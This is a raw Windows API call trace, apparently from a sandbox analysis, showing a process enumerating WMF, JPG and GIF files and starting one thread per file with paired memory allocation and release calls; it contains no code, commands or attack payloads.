	[0208.165] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x23c2, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099179.WMF", cAlternateFileName="")) returned 1
	[0208.165] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0208.166] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc52d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1664
	[0208.168] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0208.168] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xd42, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099180.WMF", cAlternateFileName="")) returned 1
	[0208.169] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0208.169] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc56410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1668
	[0208.171] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0208.171] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4ae, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099181.WMF", cAlternateFileName="")) returned 1
	[0208.171] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0208.172] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc59af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x166c
	[0208.173] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0208.174] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xf00, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099182.WMF", cAlternateFileName="")) returned 1
	[0208.174] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0208.174] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc5d1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1670
	[0208.381] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0208.382] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1352, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099183.WMF", cAlternateFileName="")) returned 1
	[0208.382] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0208.382] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc608b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1674
	[0208.384] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0208.385] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1016, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099184.WMF", cAlternateFileName="")) returned 1
	[0209.682] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0209.683] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1678
	[0209.686] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0209.687] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xcd2, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099185.JPG", cAlternateFileName="")) returned 1
	[0209.687] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0209.687] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x167c
	[0209.689] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0209.690] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x183cef00, ftCreationTime.dwHighDateTime=0x1bdbf74, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x183cef00, ftLastWriteTime.dwHighDateTime=0x1bdbf74, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099186.JPG", cAlternateFileName="")) returned 1
	[0209.690] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0209.690] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1680
	[0209.692] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0209.692] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe4b400, ftCreationTime.dwHighDateTime=0x1bdbf74, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe4b400, ftLastWriteTime.dwHighDateTime=0x1bdbf74, nFileSizeHigh=0x0, nFileSizeLow=0x5fd0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099187.JPG", cAlternateFileName="")) returned 1
	[0209.693] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0209.693] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1684
	[0209.696] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0209.696] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2378, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099188.JPG", cAlternateFileName="")) returned 1
	[0209.696] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0209.697] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1688
	[0209.698] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0209.699] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1f8c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099189.JPG", cAlternateFileName="")) returned 1
	[0209.699] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0209.700] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x168c
	[0209.702] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0209.702] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xab74, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099190.JPG", cAlternateFileName="")) returned 1
	[0209.702] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0209.703] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1690
	[0209.704] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0209.705] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xf39f, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099191.JPG", cAlternateFileName="")) returned 1
	[0209.705] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0209.706] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1694
	[0209.707] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0209.708] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x462c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099192.GIF", cAlternateFileName="")) returned 1
	[0209.708] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0209.709] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1698
	[0209.710] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0209.711] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x8ada, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099193.GIF", cAlternateFileName="")) returned 1
	[0209.711] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0209.712] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x169c
	[0209.713] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0209.713] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x62b1, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099194.GIF", cAlternateFileName="")) returned 1
	[0209.714] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0209.714] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16a0
	[0210.058] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0210.059] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4dd3, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099195.GIF", cAlternateFileName="")) returned 1
	[0210.059] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0210.060] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16a4
	[0210.061] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0210.062] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x3801, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099196.GIF", cAlternateFileName="")) returned 1
	[0210.062] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0210.063] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16a8
	[0210.065] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0210.065] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2a92, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099197.GIF", cAlternateFileName="")) returned 1
	[0210.065] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0210.066] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16ac
	[0210.068] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0210.068] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x148b, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099198.GIF", cAlternateFileName="")) returned 1
	[0210.069] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0210.069] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16b0
	[0210.071] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0210.071] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x84b7, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099199.GIF", cAlternateFileName="")) returned 1
	[0210.071] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0210.072] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16b4
	[0210.074] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0210.074] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x409f, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099200.GIF", cAlternateFileName="")) returned 1
	[0210.074] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0210.075] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16b8
	[0210.077] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0210.078] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xc8c9, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099201.GIF", cAlternateFileName="")) returned 1
	[0210.078] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0210.079] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16bc
	[0210.081] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0210.081] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1367, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099202.GIF", cAlternateFileName="")) returned 1
	[0210.081] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0210.082] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16c0
	[0210.084] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0210.084] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xf40, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099203.GIF", cAlternateFileName="")) returned 1
	[0210.085] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0210.086] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16c4
	[0210.088] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0210.089] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x45be, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099204.WMF", cAlternateFileName="")) returned 1
	[0210.089] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0210.089] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16c8
	[0210.091] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0210.092] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x45be, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099205.WMF", cAlternateFileName="")) returned 1
	[0210.092] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0210.092] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16cc
	[0210.235] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
